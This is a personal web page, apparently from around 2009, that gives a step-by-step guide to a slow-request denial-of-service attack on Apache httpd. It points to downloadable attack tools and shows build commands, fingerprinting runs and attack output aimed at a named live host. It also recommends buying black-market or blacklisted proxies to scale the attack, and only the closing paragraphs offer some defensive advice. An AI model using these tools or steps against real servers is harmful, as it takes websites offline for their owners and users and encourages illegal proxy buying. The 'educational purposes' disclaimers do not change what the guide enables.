apache httpd server denial of service attack example

update2

the old ddos tool written back in 2007 is now available as a dos-tool only. for the ones that do not trust the vulnerability check tool (snailit). it is included in the archive and its name is killit. read the README.txt file. for the lazy and for the infidels there are 2 binary sets included - static and shared. both for linux x86_64. 

• deadsnail sources+binaries

update

fingerprinting and vulnerability test available for download (as were done in 2007, output a little bit beautified and dropped the compile time errors installed for script kiddies - useless now). available only for linux, it won't compile on bsdish systems or windows (tcp ~corking, ~delays). the ddos tool (killap)  is not fixed and there are some lines of code that lets you attack a website only if its yours... well until the attacker changes the source code :)

this is not an apache bug as i was rushing to the conclusions two years ago, it is just a way of exploiting friendly software designs. its not only apache being vulnerable, there's also lighttpd and at least two other closed source http server software. don't bother to read apache anti-dos documentation, those things wont protect you.

• download deadsnail.tar.gz
• ha.ckers.org talk on the topic

apache is a web applications framework, not a web server

if your online business ever faced an attack, either distributed or not, then you know what that means for your business. big downtime will almost always drive your business to bankrupcy. you probably searched for antidos solutions and you've found those enigmatic blackboxes that are looking like hell's gatekeepers and you said "wow, this is my salvation". you also saw the hosting price and you probably said "wow, i'm f***d".
you started wondering, how did you get in this situation? who wanted you down? was it script kiddies targetting for some easy bucks ? was it the competition? to be honest, that really doesnt matter and it is probably more costly for you to start digging the attack source than buying a antidos blackbox. but anyway, you did not ask yourself the right question and that is true for 99.99(9)% from all the incidents. the right question you should ask yourself is "why didnt my server(s) faced the attack?"
i am in the hosting business since many years, working as a network and systems engineer and i am telling you, every single server i managed was running apache, mysql and php on linux. if i was to see a freebsd server, i was happy. but still, apache httpd server everywhere. there is an important thing you must understand: apache httpd server is designed more like a application framework. it is not designed to face attacks. it is highly configurable, extensible and offers you the ability to plug in your own modules to handle http requests. that should be a gain but not many people are opting for this solution, instead they go the CGI way. CGI means forking. CGI means more and more resources allocated to service a request. 
Apache httpd server is designed to be "friendly" with visitors. Probably the apache programmers are living in an utopic world where attacks never happens and we all are good friends. Thats great, and i'm sure apache development team had to choose at one point in time between a flexbile system and a spartan design brainstormed for the ugliest situation that could ever happen.
Apache httpd server was designed from start as a preforked http service (the 1.x versions). They later added threaded support in 2.x versions and (thank god) event-driven model in versions higher than 2.1. i was happy. but wait. the event driven model was available to serve only keep-alive connections. heh .... the philosphy remained the same. a initial pool of workers and a max limit of how many workers server could instantiate to handle the requests and .... a default timeout defining how long should a worker wait for data.

the problem

the problem defined in its simplest way is this: you can make the apache http service to eat resources to starvation followed by sudden death. worst thing is you can make this happen with a very low amount of resources on your end. low bandwidth, low cpu, low everything. just some coding and in the worst case few hundred bucks to by http proxies and or socks proxies, if you dont have them.

lets get into a real life example

i was astonished to see how many antiddos business solutions were digging their way thru hosting market. when i say many, i say tens and lately hundreds. all will promise you ideal uptimes. i decided  to test few and see how they face a simple attack. guess what. no one stand up.
unfortunately i can't give names here but i'm sure you can use this software to test by yourself.
so ...

preparing your tools

let's find out few informations about the target site. what i am interested in is the timeout that is setuped in httpd.conf.
following a default installation you will usually see
Timeout 300
in httpd.conf
That means one apache worker will wait 5 minutes for a client to complete his request. That is waiting for the client to write the headers and finish by pushing one more \r\n at the end of request. Also we want to make sure the admin or maybe apache developers in a future version didnt patch the softare not to reset the timeout counter after client pushes at least one byte thru connection. Because this is one important thing we are basing on, that apache it resets the timeout once its getting at least one byte from client. 
after you compile check_ap_timeout.c, run it. see how fast our target apache timeouts on an incomplete request.

lets foobar together pub.mud.ro:

oslnx:/home/cia/dev/apbot # ./apfinger 207.44.163.183 80
resolving timeout on connection to 207.44.163.183:80, this may take a while depending on remote server setup
wrote 33 bytes to net bufs, waiting on local buffers to flush ... buffers flushed to net!
waiting on remote timeout ... 
weirdiness in read response, got at least on byte, resetting read buffer
weirdiness in read response, got at least on byte, resetting read buffer
weirdiness in read response, got at least on byte, resetting read buffer
.......
weirdiness in read response, got at least on byte, resetting read buffer
error returned as expected,timeout=60 seconds, error_code=0, error_msg="Success"


note "timeout=60 seconds" so our server is closing an incomplete request after 60 seconds. Great!

lets see if this setting is the real one from server end :

root@fenrir computing # grep -E '^Timeout' /usr/local/etc/apache2/httpd.conf
Timeout 60


great, seems that is working. to compute properly the timeout, if you check the code see that i am starting the timer after i make sure all bytes from request are pushed on twilight zone. offtopic you can check how many bytes are queued on local buffers with ioctl(sk, SIOCOUTQ,&bytes_queued) not that is really necessary on small payloads the pushup is instant, but just for educational purposes 

ok we found out what the timeout setting is on server side. you may ask yourself now what the heck do i need to know this for?
the attack is working like this: i am sending 1 to 3 bytes from request then i sleep some random time, less than server timeout then im sending another 1 to 3 bytes from request then i sleep and so on. 
well, in order to drive a smart attack against the target, we will send a random number of bytes, lets say something less than 10 bytes just before the server will close the connection because of timeout event. server should accept at least 4-5 parallel requests from each client (browsers tends not to pipeline too much but make parallel requests). if i have 1000 socks proxies up that means 4000-5000 requests sent to server. it is more than enough to keep occupied for good every thread of apache with a very minimal bandwidth usage on my end. this is good DOS.

getting the proxies is not too much trouble. in fact for 300-400 USD you can buy a weekly subscription on black market. and you can get the price even lower if you buy blacklisted proxies (they're normally used for spamming but you dont care about that)

now there is one more thing we need to take care of before we proceed getting mud.ro down. the antiddos filtering layer, our REAL target.
tell you what, most filters (at least the ones i've met) are working against syn floods and other packet weirdiness that is happening. no filter will get to read application's layer protocol data and build rules based on that data. it is too much trouble. so all you have to do is to generate REAL requests, like they are coming from a dude's browser. well, 5000 dudes. send the requests max 3 bytes at time interval server_timeout-few_seconds.

to do this, you will need: a good map of target site; a list of well known browsers; less or more knowledge about the other possible request headers (names and values).

mapping target site: run getlinks.pl . getlinks.pl requires LWP, HTML::LinkExtor, HTML::Form and DBD::SQLite. The required modules are available on CPAN. I'm not sure why i used sqlite to host the urls, i probably had a reason but i really dont recall, i wont modify the sources to get rid of it, you can.

sample output from getlinks.pl http://pub.mud.ro/~cia/ :


dig_url_start:http://pub.mud.ro/~cia/
link,href=http://pub.mud.ro/~cia/static/css/index.css
img,src=http://pub.mud.ro/~cia/static/img/pgid1.jpg
a,href=http://pub.mud.ro/~cia/
....
....
a,href=http://pub.mud.ro/~cia/files/ralink-rt2500usb-lk26.diff
a,href=http://www.ralinktech.com
skip link http://www.ralinktech.com
a,href=http://lkml.org/lkml/2005/8/29/114
skip link http://lkml.org/lkml/2005/8/29/114
....
....
a,href=http://pub.mud.ro/~cia/computing/apache-httpd-denial-of-service-example.html
a,href=http://pub.mud.ro/~cia/computing/
closing dbh with active statement handles

thats it, you have now a url.db in ur current directory.
next step , run genlinksheader.pl > links.h
this will generate the links.h header containing an array of link_t structures, used to generate requests.
links.h is required in our further build process.before you start build process, make sure links.h is in build directory (where makefiles and sources are)

to build apfinger program, run "make -f makefile.tests apfinger" (apfinger.tar.gz link)
to run apfinger, use "./apfinger  "
you will see a line like this when apfinger finishes running:

error returned as expected,timeout=60 seconds, error_code=0, error_msg="Success"

remember timeout value you will use it later.
as for browser ids and generating other http headers it is being taking care of when building http requests so you dont have to worry about it (see build_http_request.c and http_headers.h)
as a final requirement, lets see if the target server is vulnerable to timeout-reset "bug". even if its not, attack still can run successfully against it, only that timeout reset bug is a beauty and you really want to be there :P :P
build chinese_death: run "make -f makefile.tests chinese_death" 
output should be something like:

oslnx:/home/cia/dev/apbot # make -f makefile.tests chinese_death
/usr/bin/gcc -I. -c build_http_request.c
/usr/bin/gcc -I. -c long_kill_ap.c
/usr/bin/gcc -o chinese_death build_http_request.o long_kill_ap.o

run chinese_death: ./chinese_death    , server_timeout is the timeout value i told you to remember before.

sample output you should get:

oslnx:/home/cia/dev/apbot # ./chinese_death pub.mud.ro 80 60
timeout almost reached, write_to_net next 2 bytes SENT: "GE" at Fri Feb  2 06:57:37 2007
timeout almost reached, write_to_net next 3 bytes SENT: "T /" at Fri Feb  2 06:58:26 2007
timeout almost reached, write_to_net next 5 bytes SENT: "files" at Fri Feb  2 06:59:11 2007
timeout almost reached, write_to_net next 3 bytes SENT: "/sc" at Fri Feb  2 06:59:59 2007
timeout almost reached, write_to_net next 3 bytes SENT: "rip" at Fri Feb  2 07:00:44 2007

i can keep this thing running till it ends sending all the bytes from request but its just wasted time so lets hit ctrl+c

^C

note the timestamps for each write. it took me 3 minutes (apache timeout is 1 minute) to write 16 bytes and the server is still waiting for my input. great, no timeout reset on server side!! so i can make 4-5 apache workers to zombify for 30 to 60 minutes (depending on request length - that can be huge for POST requests, e.g. file uploads that will zombify the workers for few long hours or days!!) with one single proxy, assuming that target dude wont accept more than 4-5 requests from the same ip!!
if keepalives are enabled on server side, we can reuse the connection to send more bogus requests. if not, we just have to reconnect thru the same proxy. nothing complicated, right?
to check if keepalive is enabled, do this:

wget -S target_url 2>&1 | grep -i 'Connection: '


conclusion: we have one server vulnerable to timeout-reset bug ... altho we can hardly call it a bug . even if the server is behind a antiddos layer, we can fool that blackbox by faking to perfection real user requests. piece of cake. lets doit.

• download this perl script to generate map database of target site
• download genlinksheader.pl script used to generate links.h C header file
• download,make and run apfinger.tar.gz to fingerprint server timeout and test for timeout-reset bug

kill'em all

before getting further, few words about proxies you will need during the attack. if you dont have the money to buy them and if you are REALLY stupid and don't care at all about poor users you can use tor network. it will accept your port 80 connections quietly and the killerbot already have socks support required to initiate tor usage. but don't do that, its really stupid. you should use this tool only for educational purposes.
the bot is using state threads you should download, build and install that before doing anything else. state threads rule i will talk about them and other ways to do smart network programming in another article.
i successfuly used this bot against a cluster of apache servers that were located behind another few squid servers. you just have to dig more informations about the website links and use the ones driven by scripts (skip squid full response). depending on how apaches are setuped (how many threads to spawn, or processes - max value - you have to make sure you will max out these setups) you'll have to compute the number of proxies you need to keep the apache server's process table full.
as a final note, the sources are for educational purposes. it is illegal to use them against websites without prior acknowledge from websites owners. i'm telling you this just in case you are really really stupid and can't figure out consequences by yourself
to compile the bot, run compile.sh. one more not, the program will not run a clean compile. put your mind to work it is an easy fix , im just doing this so no dumb script kiddie will start playing around with it.
to start an attack, run strun.sh target_ip server_timeout plugin_id proxylist_file
proxylist file is ip:port format
there are 3 plugins i believe, id=0 is apkill.c, id=1 is speed_test.c and id=2 is honey_drop.c
apkill will just do the real thing, speed_test i believe is doing nothing really and honey_drop is wiping out honeypots from your proxy list.

• download apkill.tar.gz

final conclusions

the most important thing i want to tell you in the end of this bulls parade: when your website is attacked, don't run in the arms of a antiddos solution provider. not every attack is known, patternized and ready to be filtered. the very most of providers are just working with some classic filters , based on the fact that a big percentage of their customers are coming to them crying out their tears because of a kid's syn flood or any other classic stuff. the rest, its ok to loose. instead, contact a good sysadmin. maybe he wont be able to stop the attack, either cuz he can't find a solution or because of missing hardware (you may require gige things). but he will surely identify how the attack is going on and this is the most important thing you need to know before taking decisions.

another thing, don't you ever think things like socket filters (accf_http on freebsd, the ones installed with setsockopt on linux - you must buidl them with bpf language) will get you clean. those can be tricked as well.
yes, you can easily modify accf_http to cache all the request headers before forwarding the connection to apache, but think of POST (file uploads and such) where you can continue the attack seamlessly. i dont have a solution for this yet, i'll think about it :P :P

and the last one, there is no generic dos filter, attack detection system smart enough to handle all kinds of attacks. there is at least a small percentage from the total number of attacks that must be handled in a custom way. 

and a post scriptum: use apache as a web scripting engine together with lighttpd and squid. dont write stupid php scripts. use caches for data queries (memcached?) instead of direct db interogations. and much more, im getting bored of writing, bye